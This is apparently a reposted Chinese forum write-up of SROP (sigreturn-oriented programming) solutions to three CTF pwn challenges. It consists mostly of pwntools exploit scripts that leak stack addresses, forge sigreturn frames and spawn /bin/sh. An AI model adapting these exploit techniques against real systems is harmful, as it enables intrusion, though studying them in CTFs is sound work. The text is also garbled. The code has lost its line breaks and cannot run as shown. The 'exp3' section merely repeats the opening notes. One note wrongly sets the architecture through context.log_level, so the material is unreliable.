本文为看雪论坛优秀文章
看雪论坛作者ID:e*16 a
一
注意
1.系统调用是内核态所做的事情2.sigreturn是系统调用,调用号在64位下位15(也就是说在没有sigreturn系统调用地址的时候,只有rax=15且具有syscall才能进行sigreturn系统调用)3.在写exp的时候,需要写该程序的arch(context.log_level = "amd64")
二
题目详细介绍
1.ciscn_s_3
(1)看ida
(2)泄露地址
payload = "/bin/sh\x00"payload = payload.ljust(0x10,"\x00")+p64(0x4004ed)p.send(payload)p.recv(0x20)binsh_addr = u64(p.recv(8))-280 # 0x00007fffffffde08 - 0x00007fffffffdcf0 = 280print "binsh_addr = " +hex(binsh_addr)
(3)构造frame
frame = SigreturnFrame()frame.rax = 59 #constants.SYS_execveframe.rdi = binsh_addrframe.rsi = 0frame.rdx = 0frame.rip = 0x400501 #syscall
payload = "/bin/sh\x00" + p64(0) + p64(0x4004DA) + p64(0x400501) + str(frame) #mov rax,15 = 0x4004DAp.send(payload)
2.cstc2021 small
(1)看ida
这题只有一个read系统调用,这就需要我们去伪造一个sigreturn系统调用然后让其pop给各个寄存器我们伪造的值。
(2)思路
frame = SigreturnFrame() #伪造frame.rax = 0frame.rdi = 0frame.rsi = 0x402500frame.rdx = 0x300frame.rip = 0x40102Bframe.rsp = 0x402500frame.rbp = 0x402500 payload = "a"*0x18 + p64(vuln) + p64(0x40102B) + str(frame) # syscall = 0x40102Bp.send(payload)p.sendline("a"*14) #
frame = SigreturnFrame()frame.rax = 59frame.rdi = 0x402500frame.rip = 0x40102Bframe.rsi = 0frame.rdx = 0 payload = "\x00"*8 + p64(vuln) + p64(0x40102b) + str(frame)p.sendline(payload)p.send("q"*8+"/bin/sh") p.interactive()
3.smallest
exp1:
from pwn import *context.log_level = "debug"p = process("./smallest")context.arch = "amd64"def g(): gdb.attach(p) input() syscall = 0x4000BEmain = 0x4000B0 payload1 = p64(main)*3p.send(payload1) p.send("\xB3") #rax = 1stack_addr = u64(p.recv()[8:16])success("stack_addr:"+hex(stack_addr)) frame = SigreturnFrame()frame.rax = 0frame.rdi = 0frame.rsi = stack_addrframe.rdx = 0x300frame.rsp = stack_addrframe.rip = syscall payload2 = p64(main) + p64(0) + str(frame)p.send(payload2) p.send(p64(syscall)+"a"*7) #rax = 15 frame = SigreturnFrame()frame.rax = 59frame.rdi = stack_addr+0x200 # /bin/shframe.rsi = 0frame.rdx = 0frame.rsp = stack_addrframe.rip = syscall payload3 = p64(main) + p64(0) + str(frame) payload3 = payload3 + (0x200-len(payload3))*"a"+"/bin/sh\x00"p.send(payload3) p.send(p64(syscall)+"a"*7) p.interactive()
这几个月我一直不明白为什么要加p64(0),其实是因为防止调用sigreturn时所伪造的寄存器的值发生改变。
exp2
from pwn import *context.log_level = "debug"p = process("./smallest")context.arch = "amd64"def g(): gdb.attach(p) input() syscall = 0x4000BEmain = 0x4000B0ret = 0x4000C0 payload1 = p64(main)*3p.send(payload1) p.send("\xB3") #rax = 1stack_addr = u64(p.recv()[8:16])success("stack_addr:"+hex(stack_addr)) frame = SigreturnFrame()frame.rax = 0frame.rdi = 0frame.rsi = stack_addrframe.rdx = 0x300frame.rsp = stack_addrframe.rip = syscall payload2 = p64(main) + p64(0) + p64(0) + str(frame) ############## herep.send(payload2) p.send(p64(ret)+"\xBE\x00\x40\x00\x00\x00\x00") #rax = 15 here frame = SigreturnFrame()frame.rax = 59frame.rdi = stack_addr+0x200 # /bin/shframe.rsi = 0frame.rdx = 0frame.rsp = stack_addr frame.rip = syscall payload3 = p64(main) + p64(0) + p64(0) + str(frame) payload3 = payload3 + (0x200-len(payload3))*"a"+"/bin/sh\x00"p.send(payload3) p.send(p64(ret)+"\xBE\x00\x40\x00\x00\x00\x00") p.interactive()
exp3
1.系统调用是内核态所做的事情2.sigreturn是系统调用,调用号在64位下位15(也就是说在没有sigreturn系统调用地址的时候,只有rax=15且具有syscall才能进行sigreturn系统调用)3.在写exp的时候,需要写该程序的arch(context.log_level = "amd64")0
看雪ID:e*16 a
https://bbs.kanxue.com/user-home-922338.htm
# 往期推荐
1.CVE-2022-21882提权漏洞学习笔记
2.wibu证书 - 初探
3.win10 1909逆向之APIC中断和实验
4.EMET下EAF机制分析以及模拟实现
5.sql注入学习分享
6.V8 Array.prototype.concat函数出现过的issues和他们的POC们
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
还没有评论,来说两句吧...